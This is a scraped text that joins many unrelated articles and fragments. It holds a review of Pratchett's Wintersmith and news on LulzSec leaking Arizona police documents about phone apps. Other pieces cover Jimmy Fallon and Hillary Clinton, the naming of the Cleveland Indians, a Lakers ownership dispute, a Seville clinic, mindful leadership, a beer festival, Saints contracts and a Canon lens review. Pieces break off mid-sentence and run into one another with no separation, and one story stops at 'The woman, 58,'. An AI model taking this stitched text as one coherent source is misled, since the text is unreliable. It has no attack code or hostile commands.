It is the depth to Tiffany’s character that means that Pratchett can spin a morality tale without being too preachy. Pratchett is aided in this by the gleefully chaotic existence of the Nac Mac Feegle – Tiffany’s loyal drunken protectors. Our teenage witch is fallible and frequently makes mistakes, like deciding to have a boogie with an elemental force. Like any one of us, Tiffany wants to live a proper life but that doesn’t mean she won’t mess up from time to time.
This questioning of one’s self, the First, Second and Third Thoughts that characterise a witch, is central to leading your life in the right way. The alternative is cackling, with all of the negative connotations it conveys:
‘Cackling’, to a witch, didn’t just mean nasty laughter. It meant your mind drifting away from its anchor. It meant you losing your grip. It meant loneliness and hard work and responsibility and other people’s problems driving you a little crazy a little bit of the time, each bit so small that you’d hardly notice it, until you thought that it was normal to wear a kettle on your head. It meant you thinking that the fact you knew more than anyone else in your village made you better than them. It meant thinking that right and wrong were negotiable. And, in the end, it meant you ‘going to the dark’, as the witches said. That was a bad road. At the end of that road were poisoned spinning wheels and gingerbread cottages.
The mania to that long fourth sentence makes the paragraph for me and it serves as the microcosm of Pratchett’s Aching series. We all have responsibilities. If you have a gift, use it to the betterment of others, not to lord it over them. Moreso than his other novels, Pratchett’s Aching series is a blueprint in how to live. It brings to mind David Foster Wallace’s quote where “fiction’s about what it is to be a fucking human being”, just with fewer swearwords and more drunken pixies. Or as the Feegle Billy Bigchin puts it here: “A metaphor is kind of a lie to help people understand what is true.”
Pratchett draws out the tension between what we should be and what we are brilliantly. While Tiffany is the heroine, she is someone who questions why she should be a slave to others and their problems. As Granny notes in a conversation about Tiffany’s friend Roland, who is dispatched to rescue Summer according to the tradition of stories, the biggest things we have to overcome are within us. She tells the leader of the Feegles: “He must do it in fear and terror like a real hero should, because a lot of the monsters he must overcome are the ones in his head, the ones he brings in with him.”
The biggest challenge we face is that little voice saying ‘don’t’ in our heads. By the end of the novel, Tiffany realises this. When she speaks to Summer, she draws a contrast between the “silly girl” she was and the “sensible young woman” she is now.
There is some wonderful writing in this novel, an area that Pratchett is sorely underrated in amid celebrations of his fervent imagination. He handles the take on the Orpheus myth brilliantly, marrying it to Tiffany growing up and becoming a teenager. As she takes on the role of Summer, plants flower beneath her feet (a nice throwback to Pyramids) and a cornucopia produces animals and food chaotically at times. There’s an utterly hilarious scene where Tiffany straight up asks Granny Weatherwax whether this whole thing with the Wintersmith and him holding the Discworld to frozen ransom in his quest for Tiffany is about sex.
Miss Tick looked at the ceiling. Granny Weatherwax cleared her throat. Nanny gave a huge laugh that would have embarrassed even the little wooden man.
The opening of the novel, where Tiffany tries to protect her home from the marauding winter is so frantic that I did genuinely think my copy was missing a chapter before it flashes back to tell us what led to this point. The section where the Feegles visit a travelling library has this tribute to their staff: The librarians were mysterious. It was said they could tell what book you needed just by looking at you, and they could take your voice away with a word.
It has one of the great Discworld endings, where Tiffany attends a Morris Dance bringing in the summer and is confronted with the Wintersmith for a final time. She had stopped him by kissing him and completing the Dance of Seasons, while her friend rescued Summer with the help of the Feegle (because DISCWORLD!). It’s a neat surprise when the Fool kisses Tiffany at the dance and it was “only slightly chilly”.
Along with the excellent subplot of the witches coming together to help the dreadful Anagramma become Miss Treason’s replacement (again underlining how doing the right things may not make you happy), it has one of my favourite bits of Pratchett’s writing. I don’t know how to convey this. Basically grab your copy of Wintersmith and go to the end of Chapter 11. If you don’t own Wintersmith, go to a bookshop and buy it. Or read it in the bookshop but make sure you buy another book. Or get down to a library and take it out, along with a few other surprises.
It’s the passage where Tiffany returns home and it’s delightful. Short of writing the entire two page segment out I don’t feel I can do it justice but it sums up the joy and uncomfortableness of returning home. Tomorrow…might become anything. But today, the winter world was full of colour. It’s doubly sad because you know Tiffany is different. Witches don’t fit in so going home must be a challenge, as well as something brilliant. I have Discworld books that I love more but that two page passage is among my favourite bits of Pratchett’s writing.
When I wrote about A Hatful of Sky, I did confess a fear that I was merely telling you how good these books were, rather than showing why. A problem is the fantastic Nac Mac Feegle, who I rarely mention but who form an important backbone of the story. Their antics are difficult to write about coherently because you are talking about comedy, something I find rather hard to discuss without repeating the jokes verbatim.
But they are key to the enjoyment of Tiffany’s books. One downside of the latter part of Pratchett’s career (from about Monstrous Regiment onwards) has been the occasionally didactic nature of his fiction where the reader gets beaten over the head with THE MESSAGE. Going Postal managed to swerve this, thanks to an incredibly accomplished narrative complexity, and how it was utterly hilarious.
The Tiffany novels, with their Discworldian spins on myth and morality plays, could easily slip into the bad habits that marked some of the books around this time. However, the Nac Mac Feegle’s constant presence means the novel is not too much hard work. If only there was a phrase about taking medicine with the aid of something sweet…
To reiterate what I said previously, the relatively weedy size of these posts should not in any way be taken as a criticism of the books. The Aching novels are a joy, books that explore the early Discworld themes and vistas without just being a repetition of Mort or whatever. Pratchett had said he wanted to be remembered for this series of books the most and it’s easy to see why.
Next time! Moist von Lipwig is back, laid back, with his mind on his money and his money on his mind. Will Ankh-Morpork’s prime conman prove too big to fail? See you next week.
AdvertisementsHome » Blog » Oregon's Local Halloween Fun Guide, Halloween Headlines
October 30, 2017 By Chelsea T.
The National Weather Service in Portland has predicted the first rain-free Halloween for the city since 2007. Residents have celebrated the holiday in the rain for the past 10 years and so far, it is shaping up to be a beautiful day.
Meteorologist David Bishop told Oregon Live, "2007 was the last time that Halloween didn't have any measurable rainfall for the Portland area." He also stated that the outlook is "outstanding" and that the night should be nice and clear, with a bit of cloud coverage "here and there."
Looks like families can keep the umbrellas and rain coats at home and can enjoy an evening of trick-or-treating in their Halloween get ups! Hopefully this year will begin a new tradition for Portland and the nice weather will stay for years to come!Earlier this week, I noted a new suite of police-policing apps including OpenWatch and Cop Recorder, which turn your phone into a "reverse surveillance camera" for secretly recording run-ins with authority figures. Now it appears that police are well aware of those programs and others that complicate law enforcement, and at least some cops are none too happy about them.
That's one of the revelations of the latest operation by the hacker group LulzSec, which yesterday dumped a cache of files that it stole from the Arizona Police Department, calling Arizona a "racial profiling anti-immigrant police state." A pair of documents among the hundreds leaked show concerns about how smartphones are being used for everything from recording interactions with police to evading speed traps.
One document labelled "Law Enforcement Sensitive" lists the following apps, and warns officers to "take the time to look at an arrestee’s cell phone to see what applications they have."
Cop Recorder: Developed under the OpenWatch project, the app lets users stealthily record their interactions with police or other authority figures and upload them to OpenWatch's server, where some of the videos are anonymized and posted online with legal analysis. The latest version of the app for Android, called OpenWatch rather than Cop Recorder, allows the secret capturing of video as well as audio.
Trapster and Police Alert: Both apps aim to show users the location of speed traps. The free app Trapster crowdsources the problem, allowing users to add or confirm police locations, even tracking users' reputations to improve the accuracy of their submissions. Police Alert, a $3.99 app for Android, seems to map out police locations without user interaction, but users warn in reviews that it rarely updates and is largely inaccurate.
Caller ID Faker: Users can spoof a call's source through the Web or using an app for Android or for jailbroken iPhones, entering whatever ID number they choose and even altering their voice. Presumably police fear that the app, which offers what its website calls "good laughs to make it through the crazy stress of each day," has led to an increase in prank 911 calls.
Another document from LulzSec's hacked collection, provided to Arizona's police from the Department of Justice's Computer Crime and Intellectual Property division, describes concerns over Apple's "find my iPhone" feature, which allows users to remotely wipe their phone's data. The Department warns that users may delete evidence from seized phones.
Law enforcement's solution? Keep seized phones in metal-plated Faraday bags or other radio-frequency-shielded container until their data can be copied.
Here's the full PDF of that "Find my iPhone" brief.
Leaking its smartphone-related documents is the least of the Arizona police's worries after the LulzSec hack. In a response to the breach, officials have warned that it could lead to retaliation against individual officers in the state. "Law enforcement officials go to many lengths to protect their identities,” Arizona Highway Patrol Association president Jimmy Chavez wrote in a statement Thursday. “These individuals maliciously released confidential information knowing the safety of DPS employees, and their families, would be compromised. A threat to release more DPS files demonstrates how heinous the hackers are willing to act. The AHPA would like to see the people brought to justice and prosecuted to the highest degree of the law.”His interview with polarizing Republican presidential nominee Donald Trump was widely criticized for being too lighthearted. But that doesn’t seem to have deterred Tonight Show host Jimmy Fallon from goofing off when chatting with Democratic presidential nominee Hillary Clinton.
While the 41-year-old comedian didn’t playfully tousle Clinton’s hair as he had did Trump’s, he did greet the former Secretary of State with a gag in an interview taped on Friday that’s set to air Monday.
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Fallon donned a surgical mask to welcome Clinton to the show – a callout to her recent bout of pneumonia.
“Thank you so much,” he said as pulled out the mask from his desk drawer. “It is great to have you here.”
Hillary Clinton and Jimmy Fallon Andrew Lipovsky/NBC/NBCU Photo Bank/Getty Images
The move was met with laughter from the 68-year-old politician, who high-fived the late-night host.
Sticking with the joke, he then reached for the hand sanitizer to assure he was staying healthy.
During their interview, Fallon asked Clinton how she walks the line of being both personable and authoritative on the campaign trail.
RELATED VIDEO: Donald Trump Debunks Wig Rumors By Letting Jimmy Fallon Mess Up His Hair on The Tonight Show
He explained: “It’s so tricky because you have to go and you have to say hi to everybody and be happy – and you do. But also people kind of want to see … the badass Hillary – someone who’s going to protect us and be strong and tough.”
Clinton agreed the duality is challenging.
“It’s especially tricky for women,” she said. “It just is. You don’t talk about ISIS with a big grin on your face. It’s a constant balancing act.”
RELATED VIDEO: Is Hillary Clinton Intimidated by Donald Trump?
During her last visit to the NBC late-night institution, Clinton showed off both her personable and authoritative side when talking about her presidential opponent.
Asked whether Trump intimidated her, she quickly shot back “No” before adding, “He’s a lot more obsessed with me than I am with him” with a laugh.
On Sept. 26, both presidential candidates will participate in their first debate, moderated by NBC Nightly News anchor Lester Holt.Two men pushed a woman onto railway tracks after she told them to stop smoking, police have said. The woman, 58, |
was this one-liner in the Muskogee paper:
“If we were an Apache, we’d sue the Cleveland club for libel for naming that team Indians.”
You will notice there is no mention in this cartoon of Louis Sockalexis, nor was there in any of the national stories about the name change. In fact, in my national search of more than 300 national newspapers, I could not find a single mention of Louis Sockalexis in the entire year of 1915.
The story I grew up hearing — that the Cleveland Indians were named to honor Louis Sockalexis — is certainly untrue.
So that dispatches one myth. Unfortunately, it creates another.
* * *
As a sportswriter I came to believe — and have written on more than one occasion — that the name Cleveland Indians had nothing whatsoever to do with Louis Sockalexis. Many, many others have written that as well. While for years it was accepted the the team was named for Sockalexis we now seem to have come to the conclusion that Sockalexis had nothing to do with it.
But we have to get back to the original thesis here; Everything is more complicated than you think.
In 1897, when Louis Sockalexis joined the Cleveland team, they were in desperate need of something exciting. The team had been alternately terrible and almost good enough, the worst cycle in sports. The Spiders had never won a pennant, and they could not draw anybody to ballgames. It seems semi-pro baseball in Cleveland was way more popular that the Spiders.
So, when Sockalexis joined the team in 1897, there WAS legitimate excitement. The stories of his baseball exploits were known everywhere. The curiosity of seeing a Native American athlete play ball was overwhelming. And people began calling the team in 1897, yes, the Indians. In his honor.
“There is no feature of the signing of Sockalexis,” wrote The Sporting Life, “more gratifying than the fact that his presence on the team will result in relegating to obscurity the title of ‘Spiders’ by which the team has been handicapped for several seasons, to give place to the more significant name, ‘Indians.’ And repeatedly that season — and periodically over the next few years — the Cleveland team was referred to as “Indians” in headlines and stories.
The fact that the 1897 Cleveland team was often called “Indians” was not directly the reason the team was officially named Indians in 1915. But it was part of the decision-making process. “(The name) recalls the old fighting days of the early American League period,” wrote the Boston Daily Globe, “when the Cleveland players of those days were often referred to as the ‘Indians.’”
And so the story I came to believe — that the whole Sockalexis naming thing was a fraud — is also untrue. The indians name does have something to do with him.
* * *
It is perfectly clear in the year 2014 how different people feel about the Washington Redskins nickname or the Chief Wahoo logo. Trenches have been dug, camps have been formed, it’s unlikely that there are any undecided voters left. I’m on record. As a lifelong Cleveland Indians fan I still think Wahoo is racist and offensive and should be dumped in the nearest bin. As a lifelong football fan who loves the history of the game, I still find it almost impossible to believe we still call a team “Redskins.”
But many others disagree — and I mean they VIRULENTLY disagree — and my point here is not to start the fight again.
As a child, I believed the Cleveland Indians were named for a great player named Sockalexis. As a grown man, I believed the Cleveland Indians were not named for a underachieving player named Sockalexis. Now I believe that the truth is somewhere in the silence between the notes. And, whatever the original reason for the name, I just spent days learning about and admiring a fairly obscure Native American baseball player who triumphed and suffered and lived and died more than 100 years ago. I don’t believe the Indians were named to honor Louis Sockalexis, not exactly. But I do believe the Indians name could honor him. That choice is ours.Yet there are still two reasons to wonder if he will take steps away from traditional Republican economics.
First, not only has he suggested he would, but some of his advisers, like Stephen Moore, have said so explicitly. Moore recently told congressional Republicans that, as The Hill phrased it, they “should no longer think of themselves as belonging to the conservative party of Ronald Reagan,” but instead “to Trump’s populist working-class party.” That party, Moore explained, would need new positions on trade, immigration and infrastructure.
The second reason is that the outlines of a conservative, working-class agenda do exist, scattered among think tanks and publications. I’m skeptical that these ideas would do more good than, say, the Obama economic proposals that Congress has refused to pass. But the reformist conservative agenda is a vastly more serious attempt to address working-class stagnation than another trickle-down tax cut.
Reihan Salam of National Review has called for sharply reducing low-skilled legal immigration (and increasing high-skilled immigration) to reduce the competition for working-class jobs. Avik Roy, president of the Foundation for Research on Equal Opportunity, advocates an overhaul of Obamacare that doesn’t require throwing millions of people off of health insurance. Michael Strain of the American Enterprise Institute is full of ideas to encourage work: less occupational licensing, a lower payroll tax, more apprenticeships, a disability system that no longer incentivizes idleness.
These proposals try to use a market-based philosophy to help working-class families — which is quite different from the recent Republican emphasis on comforting the comfortable. Presidents may not be able to directly control the economy’s growth rate, but they do have enormous influence on which groups benefit most from government policy.
For now, these issues remain obscured by Trump’s fondness for sideshows and his sordid promotion of the family business. Those distractions won’t disappear when he becomes president. No doubt, he’ll often describe his policies however he feels like describing them.
But something will change soon: He will need to begin making real decisions, with clear consequences for the people whose votes elected him. Lyin’ tweets won’t pay their bills.LOS ANGELES -- Lakers president and co-owner Jeanie Buss has thwarted a legal attempt by her older brothers, Johnny and Jim Buss, to strip her of her seat on the Lakers' board of directors, and potentially her controlling ownership of the NBA team.
On Feb. 24, the elder Buss brothers sent a notice to the Lakers' shareholders to hold a meeting next Tuesday to elect a new board of directors, because it had been more than 15 months since the annual shareholders meeting had been convened, documents filed by Jim and Johnny Buss' attorneys say.
In that notice, the brothers submitted a list of four names for the three Buss family spots on the board of five directors, none of which was Lakers governor Jeanie Buss or her younger brother Joey Buss, the team's alternate governor.
According to documents filed Friday, Jeanie Buss and her attorneys interpreted that action as hostile and in breach of the elder brothers' fiduciary responsibilities as co-trustees to "take whatever actions are reasonably available to have Jeanie Buss appointed as the new Controlling Owner" of the Lakers.
The lawyers for Jeanie Buss filed a temporary restraining order in Los Angeles Superior Court on Friday and a lawsuit to force the elder brothers to comply with the mandatory terms of the family trust. The restraining order was subsequently withdrawn when the judge set a preliminary hearing for the trial for May 15.
The notice for the shareholders meeting was also rescinded by the Buss brothers, and the meeting for next week was canceled.
"I want to make sure that they don't try to do this thing again," Jeanie Buss' lawyer Adam Streisand told ESPN. "No one wants to go through this again. We just want the team and the fans to have the stability and the success they deserve."
Robert Sacks, a lawyer for Jim and Johnny Buss who was reached by ESPN on Friday night, denied the brothers were trying to have Jeanie removed as controlling owner, insisting that they had voted to re-elect her as controlling owner in legal documents signed Thursday.
He would not comment directly on why they had sent a letter with four new names for the board of directors election next week, saying that the issue in court on Friday was related to controlling ownership of the club, not vote for the board of directors.
Lakers bylaws stipulate that the controlling owner must also be on the board of directors. The bylaws were filed in court Friday, along with the four trusts that own the Buss family shares.
"I can tell you that both Jim Buss and Johnny Buss had hoped that any issues that might arise would be handled within the family," Sacks said. "This week, we had a call from Jeanie's lawyers saying that we were somehow going to oust her as the controlling owner of the Lakers. We informed her lawyers orally and in writing that Jim and Johnny fully support Jeanie as the controlling owner of the Lakers. And then inexplicably she then rushed into court saying they're trying to oust me as the controlling owner.
"I can tell you, Jim Buss and Johnny Buss, as the co-trustees, who vote shares in the Lakers, support Jeanie as the controlling owner," Sacks reiterated. "We got notice yesterday that she was going into court, and going in today for a restraining order and other relief. Yesterday, we'd already confirmed it, both Jim Buss and Johnny Buss signed a formal corporate document that voted the trust shares to re-elect Jeanie as the controlling owner. I guess that's what -- belt, suspenders and duct tape?"
Dr. Jerry Buss' six children co-own 66 percent of the Lakers in trust. The three trustees are Jeanie, Johnny and Jim Buss.
"This is about Dr. Buss' intention, Dr. Buss' directive that it's to be Jeanie and Jeanie alone is the controlling owner of the Lakers," Streisand said. "We're going to ask the court to uphold his wishes. It couldn't be clearer, in black and white, that this was his intent."
Lakers coach Luke Walton said he didn't understand the situation well enough to comment, adding that he plans to just focus on basketball.
Asked about the family turmoil, Walton said, "Stuff that's not in my control I don't spend much time thinking about."
NBA spokesman Mike Bass affirmed Jeanie Buss' role with the Lakers in a statement.
"Jeanie Buss is the sole Governor of the Los Angeles Lakers and under league rules, she has control over the team," the statement said. "She has not only been a terrific leader for the Lakers organization, guiding the business before and after her father's passing, but an incredibly influential voice among all our team owners."
Last week, Jeanie Buss replaced her brother Jim as president of the Lakers' basketball operations with Hall of Famer Magic Johnson.
The Lakers have to vote on a board of directors and controlling owner every year, sources told ESPN. Since 2013 -- the year of Dr. Buss' death -- there have been three votes to affirm Jeanie as controlling owner. This year's vote has not yet taken place.
The names submitted by the older brothers last week were Jim Buss, Johnny Buss, Dan Beckerman from Anschutz Entertainment Group and Romie Chaudhari, a property investor who was appointed to the board of the Swansea City Football Club last year following a boardroom shakeup. The other two spots on the Lakers' board of directors are controlled by minority owner Phil Anschutz.
NBA rules state one owner must be designated as a franchise's controlling owner. Streisand contends that the trust states Jeanie Buss should remain as the Lakers' controlling owner, and therefore she also must always retain a seat on the board of directors.
Information from ESPN's Baxter Holmes and The Associated Press was used in this report.+ 13
Architects Sol89
Location Calle Charles Darwin, 41092 Sevilla, Sevilla, Spain
Category Institute
Project Architects María González, Juanjo López de la Cruz + Francisco González, Salvador Méndez
Technical Architect Víctor Baztán Cascales
Project Year 2006
Photography Jesús Granada
Collaborator David Rodríguez
Structures Alejandro Cabanas, Ingeniero Técnico Industrial
Facilities Insur JG.
Client Tecnolaser S.A.
Construction Level-Econivel S.A. More Specs Less Specs
Project selected for the Arquía / Próxima Biennial Catalog 2010, Fundación Caja de Arquitectos, Barcelona, 2010.
Located on one of the lots of the former 1992 World Expo in Seville, a tertiary landscape saturated by singularities, inheritance of the pavilions of the Expo, the project was to address a number of medical specialties proportional in their surface area to the capital invested by each of them. From this proportionality, we proposed a section in the manner of a bar diagram, making up three concatenated voids that form a large space around which the circulation and activities of the center develop. This yields a compact volume, rough and opaque to the outside and excavated inside, using the void and porosity as fundamental matter in the project.
The architecture becomes what is in the middle, between the built. We make ours the Debussy quote: the music is not in the notes but between notes. The void is formalized through the superposition of plan variations that have the same porosity distributed in different ways, creating courtyards, terraces and voids. Circulations run parallel to the void, to one side the circulation for patients, and to the other the circulation for medical staff, so that they only meet in the areas that make up the specialties and that float over the inner void.The mind is like a serving plate – you have to clean it up from the previous dish before you serve the next one, otherwise you end up with a strange-tasting mess. Unfortunately, many business owners (yours truly included) threat their mind as a buffet, piling from different dishes on the same plate and at the same time and calling it “efficiency.” I am the first one to admit that I write e-mails during conference calls, I speak on the phone with clients while driving, I text my son while waiting for the red light to turn and I review reports while watching the evening news. We all think we are good at multi-tasking but are not! The result unfortunately is worse than that strange taste – it is often toxic. Frustration, high pitched anxiety, often barely suppressed anger, poorly thought out reactions and “shoot-from-the-hip” decisions are just some of the many side effects of functioning with speed without regard to mindfulness. By drawing from the numerous sources of contact and information we improve our ability to process multiple channels of information but we sacrifice our ability to consider one item very carefully. The one “item” may be extremely important – a relationship we treasure or are trying to grow, a person we work with and are responsible for a decision that requires careful evaluation.
My colleagues and friends from Fusion Advisor Network and I spent the last four days in the Catskill Mountains in New York in a retreat dedicated to “mindful leadership” led by Janice Marturano and Terry Pearson from the Institute for Mindful Leadership and I must say that I found the experience eye-opening. “Mindful Leadership” focuses on the notion that every leader has the responsibility to make decisions and treat people with a clear mind and full presence in the moment, focusing their mind on the situation and person in front of them and free from the baggage and distractions of other thoughts or other sources of “signal.” The application of mindfulness draws a lot from the ancient practice of meditation but its theoretical support is solidly grounded in very recent research on the ability of our minds to process information and adapt to the way we present them with information.
Simply put, we tried to learn how to focus on one thing at a time and how to fully become absorbed in that mindful study without yielding to the thousands of thoughts that our minds can produce. There were eighteen of us, and we shared a story after story of talking to someone for an hour without actually having any idea what they said (were thinking about next meeting while pretending to listen), writing e-mail responses after having only read the first two lines of the e-mail and interrupting our conversation partners because “I know what he will say…” If you think the speedy responses are better, ask yourself if you would rather get a poorly spelled three word ciphrogram with “sent from my iPencil” at the bottom or are well-thought out response – even if you have to wait a bit to get it.
After four days, I walked away with a clear sense that I need to change how I function – I need to clear my mind so that it can focus better on the important issues that need its attention. I need to learn how to reduce the number of “stimulants” that the mind is exposed to so that it can devote better attention to the important source of information. Most importantly, I need to pause and distinguish between “reaction” (instinctive and impulsive) and response (thoughtful and well thought out).
I read somewhere in a Peter Drucker article that “you can manage others unless you can manage yourself.” I see the practice of mindful and careful consideration to be just that – a way for business owners to focus on what’s important and how to understand it better.Fashionable head gear at Winter Beer Festival 2013
Tim Price and Sienna Fegan didn't know each other before meeting on a pile of snow at the Michigan Winter Beer Festival at Fifth Third Park in Comstock Park, Mich. Saturday, Feb. 23, 2013. (Chris Clark | MLive.com)
GRAND RAPIDS, MI — We knew there were a lot of disappointed folks who missed out on a ticket to the 2014 Michigan Brewers Guild Winter Beer Festival. Now we know just how many: About 12,000. The brewers guild released a statement on the ticketing sellout Wednesday evening, Dec. 4, several days after the wildly popular event
. In the meantime, the guild has received an avalanche of negative feedback from people who, for largely technical reasons, were unable to buy a ticket when the online box office opened 10 a.m. Sunday, Dec. 1. Many buyers reported issues with page timeouts and error messages, among other server-related headaches. The guild says 18,000 unique users tried to buy tickets on Sunday. Only between 4,000 and 5,000 out of a total number of 6,000 were available for sale Sunday after the guild gave members and bus tour operators first shot at tickets. The festival, which has surged in popularity in recent years alongside the rise of Michigan’s craft beer business, takes place Feb. 22 at Fifth Third Ballpark in Grand Rapids. The guild capped attendance to the 2014 event at two $45 tickets per person. Previously it had been four per person. Below is the guild’s statement in its entirety:
The guild followed up the statement by addressing last year's issue with scalpers selling tickets at inflated prices on Craiglist. "With regard to tickets purchased from a third party individual - BUYER BEWARE! We will NOT guarantee the validity of tickets purchased from other online sources. Tickets determined to be "scalped" for more than face value will be voided," the guild stated.
Garret Ellison covers business, government and breaking news for MLive/The Grand Rapids Press. Email him at gellison@mlive.com or follow on Twitter & InstagramJahri Evans & Akiem Hicks: Saints Camp Sunday, July 28, 2013
Guard Jahri Evans (73) and defensive tackle Akiem Hicks (76) battle during practice at Saints headquarters in Metairie on Sunday, July 28, 2013.
(Michael DeMocker, NOLA.com | The Times-Picayune)
Phoenix -- It sounds like New Orleans Saints perennial Pro Bowl guard Jahri Evans will be the starter at right guard for his 10th season with the team, but there's a catch.
Coach Sean Payton said during the NFL owners meetings Wednesday how he didn't think the structure of Evans' contract, which is currently slated to count $11 million against the salary cap, was resolved in how it's going to lay out. This means Evans will likely be taking a pay cut once it's time for the Saints to start signing their draft picks.
Evans survived the purge at guard as Ben Grubbs ended up in Kansas City for a fifth-round pick. Payton said both players were essentially on the trading block. If there was no deal, one of them would have been released.
"With the interior linemen, both Jahri and Ben Grubbs are, I wouldn't say similar and yet probably veteran-type players that both you're gonna examine closely and try to evaluate and look at the contract numbers, and there was some trade talk with both of those players," Payton said. "There was some interest by other teams with respect to a possible trade. So sometimes you're forced to cut a veteran player, and then he's able to see what the market is and then get a price. With regards to Ben, we were able to make a trade with Kansas City."
The Saints felt like both guards could be viable options as starters despite their uncharacteristic struggles in 2014. They weren't going to be viable starters in New Orleans at their price tag, though.
Payton said the team knew after examining performance and paychecks that either Evans or Grubbs would be elsewhere in 2015. Payton added that moving Grubbs to Kansas City wasn't a sign he still couldn't be a viable starter in the NFL. His price tag ($9.6 million cap number) played a sizeable role in the Saints trading him away.
Trading away Grubbs seemingly opened up another hole the Saints needed to fill, but the team intends on having third-year offensive lineman Tim Lelito in line to replace Grubbs. Of course the Saints already acquired Max Unger as their center in the Jimmy Graham trade.
"We're not moving a player if we feel like there's no (replacement in hand)," Payton said. "We feel like we have a pretty good idea of how we're lining up. We've got a center that plays in the NFL, Lelito will be a left guard, Jahri Evans is at right guard. Same way at receiver. We weren't making a move that created another must."Introduction
The Canon EF 200mm 1.8 L is one of the most extreme tele lens designs and while almost 30 years old it hasn’t been surpassed in terms of speed since. Also known as the “Eye of Sauron” it has already become a legend, so let us find out what is so special about this lens…
Sample Images
You can find most of the shots in this review in full resolution here.
Specifications / Version History
This lens is one of a kind, well not entirely: there have been a few lenses produced with the same optics but FD mount, but they are even more expensive. The successor is the Canon EF 200mm 2.0 L IS which is a third of a stop slower but offers IS. This lens being reviewed has the following specifications:
Diameter: 130 mm Field of view: 12° (diagonally) Length: 208 mm Weight: 3020g + Hood 315g Filter Diameter: 48 mm drop-in Number of Aperture Blades: 8 Elements/Groups: 12/10 Close Focusing Distance: 2.5 m Maximum Magnification: 1:11.2 (1: 6.5 with EF12 II extension tube) Mount: Canon-EF
You may also have a look at Canon’s official page.
You can get one used for roughly 3000$/3000€ on ebay.com /ebay.de (affiliate links) but they are pretty rare so it might take some time finding one.
Handling / Build Quality
The lens is one of Canon’s L grade professional lenses so you would expect very good build quality and handling and the lens certainly doesn’t disappoint in that respect. The outer casing is made of metal as is the huge lens hood.
The lens incorporates a focus-by-wire system, so when not mounted on a turned on camera, moving the focus ring won’t have any effect. If you are a regular you know I barely miss a chance to complain about focus-by-wire, but this lens made me realize something: a good focus-by-wire implementation is actually possible. It already existed 30 years ago.
There is a linear coupling without slack even when changing the direction of rotation. Not only that but by a small lever you can adjust the manual focus speed, this is a really nice touch and these adjustment option makes actual sense, depending on what you want to shoot.
Slow (1): 720° from 2.5 m to oo
Standard (2): 360° from 2.5 m to oo
Fast (3): 180° from 2.5 m to oo
There are some more switches: AF <-> MF, focus hold, focus limiter, and focus confirmation beep on/off.
The lens also features a floating elements design and nothing moves externally.
The lens hood is very big but also very sturdy. Unlike on many other shorter lenses I often use these super tele hoods as they are all quite prone to getting hit by stray light. There is also a non removable (but rotatable) tripod collar. I exchanged the original foot for an RRS arca swiss foot.
It certainly is a challenge to use this lens without a tripod for a longer period of time, but it is nevertheless possible. Despite the obvious size and weight penalties I found nothing wrong with it in terms of handling.
Autofocus
I have tested this lens with the Sigma MC-11 (300$, affiliate link) on the Sony a7rII, which works quite well and is snappy in decent lighting conditions as there is rarely any hunting even when going from infinity to the minimum focus distance.
Beause of the fast maximum aperture even in dimly lit situations the AF worked quite okay.
I also tried the Metabones Speed Booster T but AF didn’t work at all: there was a lot of hunting but it never hit. I am not sure if this is also the case with the normal Metabones adapter and/or if there has been a firmware update in the meantime.
Vignetting
Wide open there is visible vignetting of roughly 2.0 EV, stopped down to f/2.8 only 1.0 EV, stopped down to f/5.6 it is already negligible with 0.5 EV and further improves to 0.3 EV at f/8.0. There is no Lightroom profile for this lens but the one for the Canon EF 200mm 2.0 L IS works quite okay.
Sharpness
infinity
Wide open the lens is already fully usable right into the corners, as I would expect from a lens in this class. Stopping down to f/2.8 boosts contrast and edge acuity quite a bit but I wouldn’t hesitate using this lens wide open at all. This is still an excellent performance, even more so considering the lens design dates back 30 years now.
The exposure of the f/1.8 and f/2.0 corner crops has been lifted in post.
To put things into perspective here: the lens is not as contrasty wide open as the very best modern lenses in class (which would only be Nikon AF-S 200mm 2.0G VR and Canon EF 200mm 2.0 L IS), but there is still more than enough resolution for everything I could think of and it is probably better wide open than most modern zooms ever get stopped down.
close focus (2.5 m)
A minimum focus distance of 2.5 m is not really great for a 200mm lens. Nevertheless, the quality is alright wide open and improves to very good levels on stopping down to f/2.8.
close focus (wit EF12 II extension tube) With the 12mm Canon extension tube things don’t look as rosy anymore. While you can significantly increase the maximum magnification (1:6.5 instead of 1:11.2) the performance really suffers. On top of that the lens now exhibits significant focus shift, which is quite the problem with adapted EF-lenses as you can’t magnify the image and use the aperture preview at the same time. So I can’t really recommend using extension tubes with this lens.
Flare resistance
As is the case with most of the super tele lenses this is definetly a weak spot. With the sun inside the frame there can be a tremendous number of ghosts, with the sun outside the frame veiling flare becomes a problem and even the hood – despite being huge – can’t always help here.
Sony A7rII | Canon EF 200mm 1.8 L | f/1.8 | before: no hood / after: hood
And then sometimes you shoot straight into the sun and there are hardly any issues…
Distortion
There is only an absolutely negligible amount of pincushion distortion with no field relevance. No correction was applied to the photo above.
Bokeh
Simply spectacular. Its extraordinary bokeh is the reason this lens has become as famous as it is today. Backgrounds simply melt away and despite the obvious cat’s eye effect there are no distractions like outlining or even onion ring patterns. Just have a look at the sample images and let them speak for themselves.
Stopped down the highlights exhibit very strange geometrical shapes. My guess is you needed pretty big aperture blades for a lens like this and some compromises had to be made.
Between f/2.0 and f/2.8 the highlights take on “saw tooth” shapes which look really strange, after that you get the Canon-octagon. So better shoot this lens wide open 🙂
Sunstars
At f/1.8 and f/2.0 there are no real sunstars, but from f/4.0 onwards they actually look quite nice: the rays have a constant length and they are not frayed. For further reference you can also have a look at out Best lenses for Sunstars article.
Chromatic aberrations
longitudinal
Slight longitudinal CA (loCA) are present in front of and behind the plane in focus, so we are not dealing with an apochromatic lens here (the Nikon AF-S 200mm 2.0G VR and the Voigtlander SL 180mm 4.0 Apo-Lanthar are apochromatic lenses). Still the problem is not overly pronounced here so I rate the performance as average.
lateral
Sony A7rII | Canon EF 200mm 1.8 L | f/8.0 | CA 100% crop before/after corner
The lateral CA correction is not great. You can spot some near the edges and borders, and Lightroom sometimes failed to fully correct it. Still, for the intended usage of this lens this probably doesn’t really matter.
Alternatives
Auto focus:
Nikon AF-S 200mm 2.0 G VRI(I):
I was using one of these on my Nikon DSLRs. Unfortunately adapting Nikon glass to E-mount cameras does not work as well as Canon glass. This is also pretty much the reason I sold it.
Apart from that I think the Nikon is the better lens in most categories. While it is a third of a stop slower it is a true apochromatic design and contrast seems to be slightly higher as well.
Price range: 3000$ (VRI used) to 5700$ (VRII new)
Canon EF 200mm 2.0 L IS:
